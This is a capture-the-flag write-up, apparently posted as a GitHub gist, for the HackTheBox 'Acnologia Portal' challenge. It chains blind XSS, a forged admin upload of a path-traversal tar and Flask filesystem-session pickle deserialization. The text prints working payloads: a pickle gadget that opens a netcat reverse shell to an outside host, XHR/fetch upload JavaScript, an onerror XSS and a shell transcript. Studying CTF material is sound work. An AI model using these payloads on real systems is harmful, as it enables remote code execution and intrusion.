Skip to content

Instantly share code, notes, and snippets.

@pich4ya
Last active March 7, 2023 13:54
Show Gist options
  • Save pich4ya/fa26c091c989db14234b2f9aa81fedbc to your computer and use it in GitHub Desktop.
Save pich4ya/fa26c091c989db14234b2f9aa81fedbc to your computer and use it in GitHub Desktop.
HackTheBox Cyber Apocalypse 2022 Intergalactic Chase - Acnologia Portal Writeup
# author Pichaya Morimoto (p.morimoto@sth.sh)
1. Register and Login
2. Submit Bug Report
Vulns:
- Tar Unzip Path Traversal
- Tar content => Overwrite flask_session's file type
Challenge file: config.py
class Config(object):
SECRET_KEY = generate(50)
UPLOAD_FOLDER = f'{os.getcwd()}/application/static/firmware_extract'
[...]
SESSION_TYPE = 'filesystem'
After reading things from:
/lib/python3.9/site-packages/flask_session/sessions.py
/lib/python3.9/site-packages/cachelib/{file.py,serializers.py}
Session type 'filesystem' is actually a Pickle serialized file-based cookie.
MD5 of cookie name => session file name
Cookie: session=b65d12b3-e9ba-423c-adfa-6f2a72b228ed
md5(b65d12b3-e9ba-423c-adfa-6f2a72b228ed) = c772baf4518b283715a0e4fa68807b4a
It's a standard pickle serialization with first 4 bytes is expiry. ignore with \x00 * 4 (if condition in code).
open('c772baf4518b283715a0e4fa68807b4a', 'wb').write(b"\x00\x00\x00\x00cos\nsystem\n(S'nc 1.2.3.4 1234 -e /bin/sh'\ntR.'\ntR.")
python tarbomb.py c772baf4518b283715a0e4fa68807b4a exploit.tar.gz 10 app/flask_session/
(tarbomb.py https://gist.github.com/pich4ya/8252921050859a2d831a68aed83e2454)
- Blind XSS forces Admin to upload .tar
3. I craft the admin upload AJAX request by
- locally change admin's pwd
- login to get a local admin's cookie
curl -F "file=@/path/to/exploit.tar.gz" --proxy http://127.0.0.1:8080 --cookie "session=e9959b0f-64eb-4246-856c-27b4cb2bdd21" http://mymachine.local:1337/api/firmware/upload
- use Burp Pro to generate CSRF PoC -> you will get JavaScript for admin file upload
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/1.2.3.4:32367\/api\/firmware\/upload", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=------------------------e487cf83e6cd4943");
xhr.withCredentials = true;
var body = "--------------------------e487cf83e6cd4943\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"exploit.tar.gz\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\x1f\x8b[...]xde;\xb2\xb7\x8c-\x00(\x00\x00\r\n" +
"--------------------------e487cf83e6cd4943--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++){
aBody[i] = body.charCodeAt(i);
}
xhr.send(new Blob([aBody]));
I also do:
<img src=x onerror=eval(atob("<b64>"))>
4. Combine all shit
XSS admin to upload exploit.tar.gz.
$ ncat -lvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 138.68.150.120.
Ncat: Connection from 138.68.150.120:35805.
id
uid=1000(www) gid=1000(www) groups=1000(www)
pwd
/app
cd ..
ls
app
bin
dev
etc
flag.txt
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag.txt
HTB{des3r1aliz3_4ll_th3_th1ngs}
@pich4ya
Copy link
Author

pich4ya commented Jun 1, 2022

A random guy on Discord asked me how do I come up with the payload below.

open('c772baf4518b283715a0e4fa68807b4a', 'wb').write(b"\x00\x00\x00\x00cos\nsystem\n(S'nc 1.2.3.4 1234 -e /bin/sh'\ntR.'\ntR.")

In short, I read the code to see how it works.

Here we go !

File: /lib/python3.9/site-packages/flask_session/sessions.py

class FileSystemSession(ServerSideSession):
    pass

class FileSystemSessionInterface(SessionInterface):
[...]
    session_class = FileSystemSession

    def __init__(self, cache_dir, threshold, mode, key_prefix,
                 use_signer=False, permanent=True):
        from cachelib.file import FileSystemCache
        self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode) # 3.
[...]
    def open_session(self, app, request):
        sid = request.cookies.get(app.session_cookie_name) # 1. 
[...]
        data = self.cache.get(self.key_prefix + sid) # 2.
        if data is not None:
            return self.session_class(data, sid=sid)
  1. The app reads the value of the session cookie ("session") from HTTP request as SID
  2. Pass SID to the cache.get() function
  3. cache.get() function is imported from cachelib

File: /lib/python3.9/site-packages/cachelib/file.py

[...]
from cachelib.serializers import FileSystemSerializer # 10.
[...]
        hash_method: _t.Any = md5, # 6.
[...]
    def _get_filename(self, key: str) -> str:
        if isinstance(key, str):
            bkey = key.encode("utf-8")  # XXX unicode review
            bkey_hash = self._hash_method(bkey).hexdigest() # 5.
        return os.path.join(self._path, bkey_hash)
[...]
    def get(self, key: str) -> _t.Any:
        filename = self._get_filename(key)
        try:
            with self._safe_stream_open(filename, "rb") as f:  # 4. 
                pickle_time = struct.unpack("I", f.read(4))[0] # 7.
                if pickle_time == 0 or pickle_time >= time(): # 8.
                    return self.serializer.load(f) # 9.
  1. Pass SID to open as a file using _safe_stream_open() function
  2. Use MD5(SID) for the actual filename
  3. Default hash algorithm = MD5
  4. Read the first 4 bytes from the session file
  5. If the first 4 bytes is 0, go to 9. (Or consider it as a timestamp value for session's expiration time checking, but I just go with 0)
  6. Deserialize the bytes after the first 4 bytes using serializers class

File: /lib/python3.9/site-packages/cachelib/serializers.py

[...]
    def load(self, f: _t.BinaryIO) -> _t.Any:
        try:
            data = pickle.load(f) # 11.
  1. serializers is imported from another file in cachelib module
  2. The serializers class actually does pickle.load()
    And it is known to the public that doing pickle.load() with a user-supplied input can result in RCE according to the OWASP Top 10 A08:2021-Software and Data Integrity Failure.

https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#python
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Python.md

To obtain the exploit payload text string:

import pickle
import os
class c(object):
def __reduce__(self):
   return (os.system,("nc 1.2.3.4 1234 -e /bin/sh",))


print(pickle.dumps(c()))
# b'\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1anc 1.2.3.4 1234 -e /bin/sh\x94\x85\x94R\x94.'

print(pickle.dumps(c(), protocol=0))
# b'cposix\nsystem\np0\n(Vnc 1.2.3.4 1234 -e /bin/sh\np1\ntp2\nRp3\n.'

@pich4ya
Copy link
Author

pich4ya commented Mar 7, 2023

I figured later that there are more elegant ways to perform XSS file upload then my code.

Example:

<img src=x onerror="fd=new(FormData);fd.append('file',new(Blob)([new Uint8Array([31,139,[...],0,40,0,0]).buffer],{type:'application/octet-stream'})),fetch('/api/firmware/upload',{method:'post',body:fd})">

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment